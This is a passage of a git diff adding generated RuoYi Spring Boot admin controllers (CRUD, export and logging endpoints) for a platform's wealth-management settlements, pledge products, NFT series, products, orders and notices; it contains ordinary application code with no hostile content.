+import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 理财每日结算Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/bussiness/day") +public class TMineOrderDayController extends BaseController +{ + @Autowired + private ITMineOrderDayService tMineOrderDayService; + + /** + * 查询理财每日结算列表 + */ + @PreAuthorize("@ss.hasPermi('system:day:list')") + @GetMapping("/list") + public TableDataInfo list(TMineOrderDay tMineOrderDay) + { + startPage(); + List list = tMineOrderDayService.selectTMineOrderDayList(tMineOrderDay); + return getDataTable(list); + } + + /** + * 导出理财每日结算列表 + */ + @PreAuthorize("@ss.hasPermi('system:day:export')") + @Log(title = "理财每日结算", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMineOrderDay tMineOrderDay) + { + List list = tMineOrderDayService.selectTMineOrderDayList(tMineOrderDay); + ExcelUtil util = new ExcelUtil(TMineOrderDay.class); + util.exportExcel(response, list, "理财每日结算数据"); + } + + /** + * 获取理财每日结算详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:day:query')") + @GetMapping(value = "/{amount}") + public AjaxResult getInfo(@PathVariable("amount") BigDecimal amount) + { + return success(tMineOrderDayService.selectTMineOrderDayByAmount(amount)); + } + + /** + * 新增理财每日结算 + */ + @PreAuthorize("@ss.hasPermi('system:day:add')") + @Log(title = "理财每日结算", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMineOrderDay tMineOrderDay) + { + return toAjax(tMineOrderDayService.insertTMineOrderDay(tMineOrderDay)); + } + + /** + * 修改理财每日结算 + */ + @PreAuthorize("@ss.hasPermi('system:day:edit')") + @Log(title = "理财每日结算", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMineOrderDay tMineOrderDay) + { + return toAjax(tMineOrderDayService.updateTMineOrderDay(tMineOrderDay)); + } + + /** + * 删除理财每日结算 + */ + @PreAuthorize("@ss.hasPermi('system:day:remove')") + @Log(title = "理财每日结算", businessType = BusinessType.DELETE) + @DeleteMapping("/{amounts}") + public AjaxResult remove(@PathVariable BigDecimal[] amounts) + { + return toAjax(tMineOrderDayService.deleteTMineOrderDayByAmounts(amounts)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineUserController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineUserController.java new file mode 100644 index 0000000..5c0cf89 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineUserController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TMineUser; +import com.ruoyi.bussiness.service.ITMineUserService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 【请填写功能名称】Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/bussiness/mine/user") +public class TMineUserController extends BaseController +{ + @Autowired + private ITMineUserService tMineUserService; + + /** + * 查询【请填写功能名称】列表 + */ + @PreAuthorize("@ss.hasPermi('system:user:list')") + @GetMapping("/list") + public TableDataInfo list(TMineUser tMineUser) + { + startPage(); + List list = tMineUserService.selectTMineUserList(tMineUser); + return getDataTable(list); + } + + /** + * 导出【请填写功能名称】列表 + */ + @PreAuthorize("@ss.hasPermi('system:user:export')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMineUser tMineUser) + { + List list = tMineUserService.selectTMineUserList(tMineUser); + ExcelUtil util = new ExcelUtil(TMineUser.class); + util.exportExcel(response, list, "【请填写功能名称】数据"); + } + + /** + * 获取【请填写功能名称】详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:user:query')") + @GetMapping(value = "/{userId}") + public AjaxResult getInfo(@PathVariable("userId") Long userId) + { + return success(tMineUserService.selectTMineUserByUserId(userId)); + } + + /** + * 新增【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('system:user:add')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMineUser tMineUser) + { + return toAjax(tMineUserService.insertTMineUser(tMineUser)); + } + + /** + * 修改【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('system:user:edit')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMineUser tMineUser) + { + return toAjax(tMineUserService.updateTMineUser(tMineUser)); + } + + /** + * 删除【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('system:user:remove')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public AjaxResult remove(@PathVariable Long[] userIds) + { + return toAjax(tMineUserService.deleteTMineUserByUserIds(userIds)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java new file mode 100644 index 0000000..2ef13b8 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TMingOrder; +import com.ruoyi.bussiness.service.ITMingOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * mingController + * + * @author ruoyi + * @date 2023-08-18 + */ +@RestController +@RequestMapping("/bussiness/ming/order") +public class TMingOrderController extends BaseController +{ + @Autowired + private ITMingOrderService tMingOrderService; + + /** + * 查询ming列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:list')") + @GetMapping("/list") + public TableDataInfo list(TMingOrder tMingOrder) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tMingOrder.setAdminUserIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tMingOrderService.selectTMingOrderList(tMingOrder); + return getDataTable(list); + } + + /** + * 导出ming列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:export')") + @Log(title = "ming", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMingOrder tMingOrder) + { + List list = tMingOrderService.selectTMingOrderList(tMingOrder); + ExcelUtil util = new ExcelUtil(TMingOrder.class); + util.exportExcel(response, list, "ming数据"); + } + + /** + * 获取ming详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMingOrderService.selectTMingOrderById(id)); + } + + /** + * 新增ming + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:add')") + @Log(title = "ming", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMingOrder tMingOrder) + { + return toAjax(tMingOrderService.insertTMingOrder(tMingOrder)); + } + + /** + * 修改ming + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:edit')") + @Log(title = "ming", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMingOrder tMingOrder) + { + return toAjax(tMingOrderService.updateTMingOrder(tMingOrder)); + } + + /** + * 删除ming + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:remove')") + @Log(title = "ming", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tMingOrderService.deleteTMingOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java new file mode 100644 index 0000000..8612bee --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TMingProduct; +import com.ruoyi.bussiness.service.ITMingProductService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * mingProductController + * + * @author ruoyi + * @date 2023-08-18 + */ +@RestController +@RequestMapping("/bussiness/ming") +public class TMingProductController extends BaseController +{ + @Autowired + private ITMingProductService tMingProductService; + + /** + * 查询mingProduct列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:list')") + @GetMapping("/list") + public TableDataInfo list(TMingProduct tMingProduct) + { + startPage(); + List list = tMingProductService.selectTMingProductList(tMingProduct); + return getDataTable(list); + } + + /** + * 导出mingProduct列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:export')") + @Log(title = "mingProduct", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMingProduct tMingProduct) + { + List list = tMingProductService.selectTMingProductList(tMingProduct); + ExcelUtil util = new ExcelUtil(TMingProduct.class); + util.exportExcel(response, list, "mingProduct数据"); + } + + /** + * 获取mingProduct详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMingProductService.selectTMingProductById(id)); + } + + /** + * 新增mingProduct + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:add')") + @Log(title = "mingProduct", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMingProduct tMingProduct) + { + return toAjax(tMingProductService.insertTMingProduct(tMingProduct)); + } + + /** + * 修改mingProduct + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:edit')") + @Log(title = "mingProduct", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMingProduct tMingProduct) + { + return toAjax(tMingProductService.updateTMingProduct(tMingProduct)); + } + + /** + * 删除mingProduct + */ + @PreAuthorize("@ss.hasPermi('bussiness:ming:remove')") + @Log(title = "mingProduct", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tMingProductService.deleteTMingProductByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductUserController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductUserController.java new file mode 100644 index 0000000..6b42112 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductUserController.java @@ -0,0 +1,91 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TMingProductUser; +import com.ruoyi.bussiness.service.ITMingProductUserService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 用户购买质押限制Controller + * + * @author ruoyi + * @date 2023-10-11 + */ +@RestController +@RequestMapping("/bussiness/productUser") +public class TMingProductUserController extends BaseController +{ + @Autowired + private ITMingProductUserService tMingProductUserService; + + /** + * 查询用户购买质押限制列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:productUser:list')") + @GetMapping("/list") + public TableDataInfo list(TMingProductUser tMingProductUser) + { + startPage(); + List list = tMingProductUserService.selectTMingProductUserList(tMingProductUser); + return getDataTable(list); + } + + /** + * 获取用户购买质押限制详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:productUser:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMingProductUserService.selectTMingProductUserById(id)); + } + + /** + * 新增用户购买质押限制 + */ + @PreAuthorize("@ss.hasPermi('bussiness:productUser:add')") + @Log(title = "用户购买质押限制", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMingProductUser tMingProductUser) + { + return toAjax(tMingProductUserService.insertTMingProductUser(tMingProductUser)); + } + + /** + * 修改用户购买质押限制 + */ + @PreAuthorize("@ss.hasPermi('bussiness:productUser:edit')") + @Log(title = "用户购买质押限制", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMingProductUser tMingProductUser) + { + return toAjax(tMingProductUserService.updateTMingProductUser(tMingProductUser)); + } + + /** + * 删除用户购买质押限制 + */ + @PreAuthorize("@ss.hasPermi('bussiness:productUser:remove')") + @Log(title = "用户购买质押限制", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tMingProductUserService.deleteTMingProductUserByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java new file mode 100644 index 0000000..f2b991a --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TNftOrder; +import com.ruoyi.bussiness.service.ITNftOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * nft订单Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/bussiness/nftOrder") +public class TNftOrderController extends BaseController +{ + @Autowired + private ITNftOrderService tNftOrderService; + + /** + * 查询nft订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:list')") + @GetMapping("/list") + public TableDataInfo list(TNftOrder tNftOrder) + { + startPage(); + List list = tNftOrderService.selectTNftOrderList(tNftOrder); + return getDataTable(list); + } + + /** + * 导出nft订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:export')") + @Log(title = "nft订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TNftOrder tNftOrder) + { + List list = tNftOrderService.selectTNftOrderList(tNftOrder); + ExcelUtil util = new ExcelUtil(TNftOrder.class); + util.exportExcel(response, list, "nft订单数据"); + } + + /** + * 获取nft订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tNftOrderService.selectTNftOrderById(id)); + } + + /** + * 新增nft订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:add')") + @Log(title = "nft订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TNftOrder tNftOrder) + { + return toAjax(tNftOrderService.insertTNftOrder(tNftOrder)); + } + + /** + * 修改nft订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:edit')") + @Log(title = "nft订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TNftOrder tNftOrder) + { + return toAjax(tNftOrderService.updateTNftOrder(tNftOrder)); + } + + /** + * 删除nft订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftOrder:remove')") + @Log(title = "nft订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tNftOrderService.deleteTNftOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java new file mode 100644 index 0000000..c47f87a --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java @@ -0,0 +1,127 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TNftOrder; +import com.ruoyi.bussiness.domain.TNftSeries; +import com.ruoyi.bussiness.service.ITNftOrderService; +import com.ruoyi.bussiness.service.ITNftSeriesService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TNftProduct; +import com.ruoyi.bussiness.service.ITNftProductService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * nft详情Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/bussiness/nftProduct") +public class TNftProductController extends BaseController +{ + @Autowired + private ITNftProductService tNftProductService; + @Resource + private ITNftSeriesService tNftSeriesService; + @Resource + private ITNftOrderService tNftOrderService; + + /** + * 查询nft详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:list')") + @GetMapping("/list") + public TableDataInfo list(TNftProduct tNftProduct) + { + startPage(); + List list = tNftProductService.selectTNftProductList(tNftProduct); + return getDataTable(list); + } + + /** + * 获取nft详情详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tNftProductService.selectTNftProductById(id)); + } + + /** + * 新增nft详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:add')") + @Log(title = "nft详情", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TNftProduct tNftProduct) + { + if (tNftProduct.getSeriesId()!=null){ + TNftSeries series = tNftSeriesService.getById(tNftProduct.getSeriesId()); + tNftProduct.setChainType(series.getChainType()); + }else{ + return AjaxResult.error("合集不能为空"); + } + return toAjax(tNftProductService.insertTNftProduct(tNftProduct)); + } + + /** + * 修改nft详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:edit')") + @Log(title = "nft详情", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TNftProduct tNftProduct) + { + TNftProduct oldProduct = tNftProductService.getById(tNftProduct.getId()); + List list = tNftOrderService.list(new LambdaQueryWrapper().eq(TNftOrder::getProductId, tNftProduct.getId())); + if ("2".equals(oldProduct.getStatus()) || CollectionUtils.isEmpty(list)){ + return AjaxResult.error("该藏品已上架/正在交易,不能修改!"); + } + return toAjax(tNftProductService.updateTNftProduct(tNftProduct)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:upOrDown')") + @Log(title = "NFT藏品上下架", businessType = BusinessType.UPDATE) + @PostMapping("/upOrDownPro") + public AjaxResult upOrDownPro(@RequestBody TNftProduct tNftProduct) + { + return toAjax(tNftProductService.updateTNftProduct(tNftProduct)); + } + + /** + * 删除nft详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:nftProduct:remove')") + @Log(title = "nft详情", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long id) + { + TNftProduct oldProduct = tNftProductService.getById(id); + List list = tNftOrderService.list(new LambdaQueryWrapper().eq(TNftOrder::getProductId, id)); + if ("2".equals(oldProduct.getStatus()) || CollectionUtils.isEmpty(list)){ + return AjaxResult.error("该藏品已上架/正在交易,不能删除!"); + } + return toAjax(tNftProductService.deleteTNftProductById(id)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java new file mode 100644 index 0000000..6c3d758 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java @@ -0,0 +1,114 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TNftProduct; +import com.ruoyi.bussiness.service.ITNftProductService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TNftSeries; +import com.ruoyi.bussiness.service.ITNftSeriesService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * nft合计Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/bussiness/series") +public class TNftSeriesController extends BaseController +{ + @Autowired + private ITNftSeriesService tNftSeriesService; + @Resource + private ITNftProductService tNftProductService; + + /** + * 查询nft合计列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:series:list')") + @GetMapping("/list") + public TableDataInfo list(TNftSeries tNftSeries) + { + startPage(); + List list = tNftSeriesService.selectTNftSeriesList(tNftSeries); + return getDataTable(list); + } + + @PostMapping("/addProSeries") + public AjaxResult addProSeries() + { + List list = tNftSeriesService.selectTNftSeriesList(new TNftSeries()); + return AjaxResult.success(list); + } + /** + * 获取nft合计详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:series:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tNftSeriesService.selectTNftSeriesById(id)); + } + + /** + * 新增nft合计 + */ + @PreAuthorize("@ss.hasPermi('bussiness:series:add')") + @Log(title = "nft合计", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TNftSeries tNftSeries) + { + return toAjax(tNftSeriesService.insertTNftSeries(tNftSeries)); + } + + /** + * 修改nft合计 + */ + @PreAuthorize("@ss.hasPermi('bussiness:series:edit')") + @Log(title = "nft合计", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TNftSeries tNftSeries) + { + + List list = tNftProductService.list(new LambdaQueryWrapper().eq(TNftProduct::getSeriesId, tNftSeries.getId())); + if (!CollectionUtils.isEmpty(list)){ + return AjaxResult.error("该合集已被使用,不能修改"); + } + return toAjax(tNftSeriesService.updateTNftSeries(tNftSeries)); + } + + /** + * 删除nft合计 + */ + @PreAuthorize("@ss.hasPermi('bussiness:series:remove')") + @Log(title = "nft合计", businessType = BusinessType.DELETE) + @DeleteMapping("/{id}") + public AjaxResult remove(@PathVariable Long id) + { + List list = tNftProductService.list(new LambdaQueryWrapper().eq(TNftProduct::getSeriesId, id)); + if (!CollectionUtils.isEmpty(list)){ + return AjaxResult.error("该合集已被使用,不能删除"); + } + return toAjax(tNftSeriesService.deleteTNftSeriesById(id)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java new file mode 100644 index 0000000..e4188ae --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java @@ -0,0 +1,160 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.enums.HttpMethod; +import com.ruoyi.common.enums.NoticeTypeEnum; +import com.ruoyi.common.enums.OptionRulesEnum; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TNotice; +import com.ruoyi.bussiness.service.ITNoticeService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 通知公告Controller + * + * @author ruoyi + * @date 2023-07-20 + */ +@RestController +@RequestMapping("/bussiness/notice") +public class TNoticeController extends BaseController +{ + @Autowired + private ITNoticeService tNoticeService; + + /** + * 查询通知公告列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:notice:list')") + @GetMapping("/list") + public TableDataInfo list(TNotice tNotice) + { + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); 